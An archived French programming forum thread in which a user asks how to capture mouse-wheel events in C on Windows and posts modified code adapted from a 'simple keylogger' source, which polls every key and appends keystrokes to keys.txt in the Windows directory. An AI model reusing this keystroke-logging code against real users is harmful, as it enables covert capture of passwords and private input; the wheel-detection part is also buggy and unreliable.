begin process at 2012 05 28 10:38:19
  Trouver un code source :
 
dans
 
Accueil > Forum > 

C

 > 

Windows

 > 

Autre

 > 

Capture roulette souris


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

Capture roulette souris

mercredi 9 novembre 2011 à 11:09:38 | Capture roulette souris

croluc

Bonjour à tous,
J'ai pour objectif de capturer un évènement sur la molette de la souris ^^
Et en fonction de cet évènement je voudrais faire une simulation de touche.
J'imagine que des logiciels le font déjà, sauf que je souhaite programmer tout ça par moi même : D

J'ai déjà trouvé une piste intéressante :
http://www.rohitab.com/discuss/topic/9931-simple-keylogger-c/

Avec ce code (un peu modifié) j'arrive à récupérer tous les évènements clavier (sauf certaines touches... => ²)=^$ù*,;:! ), et bien sur les évènements souris :
click droit
click gauche
click molette
Mais malheureusement, je ne récupère pas la roulette.

Ce qui rend la chose assez frustrante.

J'ai aussi fait un tour du côté de la librairie SDL mais je n'arrive pas à récupérer "tous" les évènements comme le ferait un keylogger, c'est à dire lorsque l'on est dans le focus d'un autre programme.

Est ce que quelqu'un aurait ne idée ?
Merci à ceux qui m'auront lu :)
mercredi 9 novembre 2011 à 11:48:47 | Re : Catpure roulette souris

buno

Administrateur CodeS-SourceS
Hello,
Regarde le message WM_MOUSEWHEEL


@+
Buno
----------------------------------------
L'urgent est fait, l'impossible est en cours. Pour les miracles, prévoir un délai...
mercredi 9 novembre 2011 à 12:10:10 | Re : Catpure roulette souris

croluc

Bonjour Buno,
Merci pour ta réponse si rapide :)
Pour l'instant je suis dans le floux.
Dans le code que j'ai trouvé/linké, j'ai remarqué que cette fonction :

for(i=0;i<=2000;i++){

if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
printf("%d",i);
}
}

J'ai donc remplacé la fonction getAsyncKeyState par GET_WHEEL_DELTA_WPARAM(WM_MOUSEWHEEL)

En faisant un printf dessus je n'obtiens que des 0. Impossible de récupérer l'évènement de mes rêves.
Si tu as une autre idée je suis preneur.

mercredi 9 novembre 2011 à 16:47:25 | Re : Capture roulette souris

croluc

J'avance j'avance ^^

Le code sur lequel je suis me retourne le chiffre de l'évènement.
Par contre il ne gère pas encore la souris, si quelqu'un a une idée.
Voici le code :

#define WM_MOUSEWHEEL 0x020A
#include <stdio.h>
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0400
#endif
#include <windows.h>
#include <Winuser.h>


void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==20){keybd_event(VK_RETURN,0,0,0);}

if (key==WM_MOUSEWHEEL){fprintf(key_file,"%s","[del]");keybd_event(VK_RETURN,0,0,0);}


if (key==8){fprintf(key_file,"%s","[del]");}


if (key==13)
fprintf(key_file,"%s","\n");

if (key==32)
fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)
fprintf(key_file,"%s","[END]");

if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)
fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

key = key - 48;

fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){

if (GetKeyState(VK_CAPITAL))

fprintf(key_file,"%s",&key);
else

{

key = key +32;

fprintf(key_file,"%s",&key);

}
}

}

fclose(key_file);





}

int main()
{



char i;


char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");


while(1){


for(i=0;i<=2000;i++){

if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
printf("%d",i);
}

if (GET_WHEEL_DELTA_WPARAM(522)==-32767){
printf("test%d",WM_MOUSEWHEEL);
}

}

}

}
mercredi 9 novembre 2011 à 17:32:06 | Re : Capture roulette souris

buno

Administrateur CodeS-SourceS
Attention, l'action sur la molette de la souris n'est pas considéré comme un appui touche...
Regarde si cette source peut t'aider

@+
Buno
----------------------------------------
L'urgent est fait, l'impossible est en cours. Pour les miracles, prévoir un délai...


Cette discussion est classée dans : souris, click, évènements, roulette, catpure


Répondre à ce message

Sujets en rapport avec ce message

Coordonées d'un click de souris - API Windows [ par banane_rose ] j'arrive pas à les récupérer , j'ai pourtant fait point.x et point.y rien à faire j'obtient 0 ... et même avec ClientToScreen "simuler le click de la souris sous Windows xp" ne marche pas [ par thebossly ] hello alldans un jeu q je joue,je doi click no stop sur le bouton droit de la souri alors je me suis di,tien si j'ecris un programme qui fait ca pour click souris [ par c2millet ] Bonjours a tous,Je voudrais positionner mon curseur au milieu de ma fenetre et générer un click .je c qu'il faut utiliser la fonction SetCursorPos pou detecter click souris [ par orelero ] Bonjour, je debute en c++, est ce que quelqu'un pourrait me donner un exemple de programme (court svp) qui produit un signal(par un bip ou autre) a ch compteur de click de souris [ par damienleglevic ] Bonjour,afin de compter des points sur une image bitmap, je suis a la recherche d'un petit programme me permettant de compter le nombre de click de la click souris [ par gotjehiuh ] salutje travail avec la console et j'aimerais savoir comment est ce qu'on peut faire pour savoir s'il y a eu un click de la souris.merci click souris [ par boubekeur_n ] bonjour a tous.je suis entrain de developper une petite interface sous Visual C++ .le probleme est comme suit : j'ai un bitmap sur la zone client et j mfc souris [ par boubekeur_n ] bonjour excusez moi  de vous deranger mais j'ai un petit probleme et il me bloque pour mon projet; je suis entrain de faire une interface a t détecter le double click souris dans une boucle while [ par ridjy ] Bonjour à  tous,j'ai un gros soucis avec visual 2005 en C++.j'ai développé un programme d'acquisition à distance. Je lance l'acquisition en cliquant s Utiliser fonction PtInRegion en C [ par mimile87 ] Bonjour à tous.Je voudrais savoir s'il était possible d'utiliser la fonction PtInRegion en C et comment (lib, includes...)... Pour l'instant je l'ai v


Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,858 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales